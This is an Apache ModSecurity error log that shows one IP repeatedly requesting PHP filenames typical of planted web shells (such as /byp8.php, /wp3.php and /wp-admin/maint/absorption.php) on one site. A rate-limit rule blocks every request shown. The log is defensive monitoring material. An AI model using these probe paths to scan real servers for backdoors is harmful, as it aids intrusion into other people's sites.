[Tue Mar 31 00:23:59.703631 2026] [:error] [pid 31544:tid 31557] [client 4.205.211.88:39520] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "acqjn9tfPe4lu-8385d7oAAAAUs"]
[Tue Mar 31 00:24:00.154118 2026] [:error] [pid 60745:tid 60766] [client 4.205.211.88:39512] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx88.php"] [unique_id "acqjoCQDBn75QnHaPb9nVwAAAFE"]
[Tue Mar 31 00:24:00.590204 2026] [:error] [pid 60746:tid 60784] [client 4.205.211.88:39660] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx88.php"] [unique_id "acqjoJ4kQrgjDdAbQCpHZAAAAIg"]
[Tue Mar 31 00:24:01.033316 2026] [:error] [pid 63557:tid 63578] [client 4.205.211.88:39624] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx88.php"] [unique_id "acqjoa4QNVlzYgEvIjnk6wAAARM"]
[Tue Mar 31 00:24:01.453067 2026] [:error] [pid 60745:tid 60756] [client 4.205.211.88:39504] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx88.php"] [unique_id "acqjoSQDBn75QnHaPb9nXAAAAEc"]
[Tue Mar 31 00:24:01.878299 2026] [:error] [pid 31577:tid 31590] [client 4.205.211.88:39644] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "acqjoXOcPMUnrUQjB4JduAAAAYs"]
[Tue Mar 31 00:24:02.296160 2026] [:error] [pid 60746:tid 60789] [client 4.205.211.88:39540] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "acqjop4kQrgjDdAbQCpHZgAAAI0"]
[Tue Mar 31 00:24:02.729780 2026] [:error] [pid 60746:tid 60791] [client 4.205.211.88:39623] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "acqjop4kQrgjDdAbQCpHZwAAAI8"]
[Tue Mar 31 00:24:03.157700 2026] [:error] [pid 60746:tid 60781] [client 4.205.211.88:39491] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "acqjo54kQrgjDdAbQCpHagAAAIU"]
[Tue Mar 31 00:24:03.587442 2026] [:error] [pid 60746:tid 60798] [client 4.205.211.88:39676] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "acqjo54kQrgjDdAbQCpHawAAAJY"]
[Tue Mar 31 00:24:04.006452 2026] [:error] [pid 60835:tid 60858] [client 4.205.211.88:39488] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "acqjpAIOJ4Lc0iJVRzwYwwAAABU"]
[Tue Mar 31 00:24:04.428264 2026] [:error] [pid 31577:tid 31589] [client 4.205.211.88:39620] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "acqjpHOcPMUnrUQjB4JdvQAAAYo"]
[Tue Mar 31 00:24:04.839830 2026] [:error] [pid 60835:tid 60842] [client 4.205.211.88:39516] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/max.php"] [unique_id "acqjpAIOJ4Lc0iJVRzwYxQAAAAU"]
[Tue Mar 31 00:24:05.257665 2026] [:error] [pid 60835:tid 60841] [client 4.205.211.88:39807] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acqjpQIOJ4Lc0iJVRzwYyAAAAAQ"]
[Tue Mar 31 00:24:05.674607 2026] [:error] [pid 60835:tid 60854] [client 4.205.211.88:39645] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acqjpQIOJ4Lc0iJVRzwYywAAABE"]
[Tue Mar 31 00:24:06.096896 2026] [:error] [pid 31735:tid 31757] [client 4.205.211.88:39528] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acqjpj-CFgIllBeFWWFO-QAAAlQ"]
[Tue Mar 31 00:24:06.513820 2026] [:error] [pid 31577:tid 31591] [client 4.205.211.88:39708] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "acqjpnOcPMUnrUQjB4JdwwAAAYw"]
[Tue Mar 31 00:24:06.930686 2026] [:error] [pid 31577:tid 31580] [client 4.205.211.88:39655] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "acqjpnOcPMUnrUQjB4JdxQAAAYE"]
[Tue Mar 31 00:24:07.382284 2026] [:error] [pid 60746:tid 60795] [client 4.205.211.88:39625] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "acqjp54kQrgjDdAbQCpHbAAAAJM"]
[Tue Mar 31 00:24:07.822082 2026] [:error] [pid 31577:tid 31588] [client 4.205.211.88:39616] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "acqjp3OcPMUnrUQjB4JdzQAAAYk"]
[Tue Mar 31 00:24:08.236039 2026] [:error] [pid 60835:tid 60849] [client 4.205.211.88:39558] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/utky.php"] [unique_id "acqjqAIOJ4Lc0iJVRzwYzwAAAAw"]
[Tue Mar 31 00:24:08.649609 2026] [:error] [pid 31577:tid 31587] [client 4.205.211.88:39643] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "acqjqHOcPMUnrUQjB4JdzgAAAYg"]
[Tue Mar 31 00:24:09.065681 2026] [:error] [pid 31577:tid 31595] [client 4.205.211.88:39659] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "acqjqXOcPMUnrUQjB4Jd0AAAAZA"]
[Tue Mar 31 00:24:09.481118 2026] [:error] [pid 31577:tid 31593] [client 4.205.211.88:39536] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "acqjqXOcPMUnrUQjB4Jd0gAAAY4"]
[Tue Mar 31 00:24:09.897265 2026] [:error] [pid 60747:tid 60811] [client 4.205.211.88:39633] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "acqjqQU3IY-cCpy_-zFerAAAAMg"]
[Tue Mar 31 00:24:10.308796 2026] [:error] [pid 31544:tid 31566] [client 4.205.211.88:39677] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp3.php"] [unique_id "acqjqttfPe4lu-8385d7owAAAVQ"]
[Tue Mar 31 00:24:10.721921 2026] [:error] [pid 60745:tid 60773] [client 4.205.211.88:39545] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp3.php"] [unique_id "acqjqiQDBn75QnHaPb9nZQAAAFg"]
[Tue Mar 31 00:24:11.145222 2026] [:error] [pid 60746:tid 60787] [client 4.205.211.88:39554] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp3.php"] [unique_id "acqjq54kQrgjDdAbQCpHcAAAAIs"]
[Tue Mar 31 00:24:11.560160 2026] [:error] [pid 60746:tid 60779] [client 4.205.211.88:39539] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp3.php"] [unique_id "acqjq54kQrgjDdAbQCpHcQAAAIM"]
[Tue Mar 31 00:24:11.985342 2026] [:error] [pid 31735:tid 31751] [client 4.205.211.88:39829] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acqjqz-CFgIllBeFWWFO_gAAAk4"]
[Tue Mar 31 00:24:12.407973 2026] [:error] [pid 60835:tid 60858] [client 4.205.211.88:39507] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acqjrAIOJ4Lc0iJVRzwY2QAAABU"]
[Tue Mar 31 00:24:12.843712 2026] [:error] [pid 31735:tid 31737] [client 4.205.211.88:39646] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acqjrD-CFgIllBeFWWFPAAAAAkA"]
[Tue Mar 31 00:24:13.262504 2026] [:error] [pid 60745:tid 60769] [client 4.205.211.88:39622] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acqjrSQDBn75QnHaPb9naAAAAFQ"]
[Tue Mar 31 00:24:13.688624 2026] [:error] [pid 60746:tid 60778] [client 4.205.211.88:39658] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acqjrZ4kQrgjDdAbQCpHdAAAAII"]
[Tue Mar 31 00:24:14.103584 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39637] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acqjrp4kQrgjDdAbQCpHdQAAAJA"]
[Tue Mar 31 00:24:14.518367 2026] [:error] [pid 60745:tid 60767] [client 4.205.211.88:39532] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acqjriQDBn75QnHaPb9naQAAAFI"]
[Tue Mar 31 00:24:14.935152 2026] [:error] [pid 60835:tid 60853] [client 4.205.211.88:39739] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "acqjrgIOJ4Lc0iJVRzwY4wAAABA"]
[Tue Mar 31 00:24:15.357597 2026] [:error] [pid 31577:tid 31603] [client 4.205.211.88:39661] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ticket.php"] [unique_id "acqjr3OcPMUnrUQjB4Jd3gAAAZg"]
[Tue Mar 31 00:24:15.778592 2026] [:error] [pid 60835:tid 60860] [client 4.205.211.88:39572] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ticket.php"] [unique_id "acqjrwIOJ4Lc0iJVRzwY5QAAABc"]
[Tue Mar 31 00:24:16.193795 2026] [:error] [pid 60745:tid 60750] [client 4.205.211.88:39722] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ticket.php"] [unique_id "acqjsCQDBn75QnHaPb9nagAAAEE"]
[Tue Mar 31 00:24:16.612604 2026] [:error] [pid 31577:tid 31593] [client 4.205.211.88:39524] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ticket.php"] [unique_id "acqjsHOcPMUnrUQjB4Jd5QAAAY4"]
[Tue Mar 31 00:24:17.034292 2026] [:error] [pid 31673:tid 31686] [client 4.205.211.88:39542] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "acqjsRV3ylEnW1IQOCnyzAAAAcs"]
[Tue Mar 31 00:24:17.460000 2026] [:error] [pid 31735:tid 31739] [client 4.205.211.88:39694] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "acqjsT-CFgIllBeFWWFPAQAAAkI"]
[Tue Mar 31 00:24:17.880329 2026] [:error] [pid 31735:tid 31742] [client 4.205.211.88:39589] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "acqjsT-CFgIllBeFWWFPBQAAAkU"]
[Tue Mar 31 00:24:18.308427 2026] [:error] [pid 60747:tid 60821] [client 4.205.211.88:39544] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wglum1.php"] [unique_id "acqjsgU3IY-cCpy_-zFeswAAANI"]
[Tue Mar 31 00:24:18.724362 2026] [:error] [pid 60747:tid 60809] [client 4.205.211.88:39553] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acqjsgU3IY-cCpy_-zFetAAAAMY"]
[Tue Mar 31 00:24:19.140551 2026] [:error] [pid 31577:tid 31592] [client 4.205.211.88:39606] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acqjs3OcPMUnrUQjB4Jd6QAAAY0"]
[Tue Mar 31 00:24:19.554193 2026] [:error] [pid 60745:tid 60751] [client 4.205.211.88:39515] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acqjsyQDBn75QnHaPb9nawAAAEI"]
[Tue Mar 31 00:24:19.989754 2026] [:error] [pid 63557:tid 63568] [client 4.205.211.88:39652] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "acqjs64QNVlzYgEvIjnk9wAAAQk"]
[Tue Mar 31 00:24:20.433950 2026] [:error] [pid 31705:tid 31715] [client 4.205.211.88:39667] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acqjtLh0Asyt0lXzJSw7qAAAAgg"]
[Tue Mar 31 00:24:20.855907 2026] [:error] [pid 31735:tid 31737] [client 4.205.211.88:39743] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acqjtD-CFgIllBeFWWFPDQAAAkA"]
[Tue Mar 31 00:24:21.306830 2026] [:error] [pid 63557:tid 63570] [client 4.205.211.88:39672] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acqjta4QNVlzYgEvIjnk-QAAAQs"]
[Tue Mar 31 00:24:21.749592 2026] [:error] [pid 31673:tid 31684] [client 4.205.211.88:39561] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yuzuru1.php"] [unique_id "acqjtRV3ylEnW1IQOCnyzwAAAck"]
[Tue Mar 31 00:24:22.213602 2026] [:error] [pid 31705:tid 31727] [client 4.205.211.88:39531] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "acqjtrh0Asyt0lXzJSw7qwAAAhQ"]
[Tue Mar 31 00:24:22.703160 2026] [:error] [pid 60747:tid 60815] [client 4.205.211.88:39664] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "acqjtgU3IY-cCpy_-zFeuAAAAMw"]
[Tue Mar 31 00:24:23.183107 2026] [:error] [pid 31705:tid 31712] [client 4.205.211.88:39495] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdone1.php"] [unique_id "acqjt7h0Asyt0lXzJSw7rQAAAgU"]
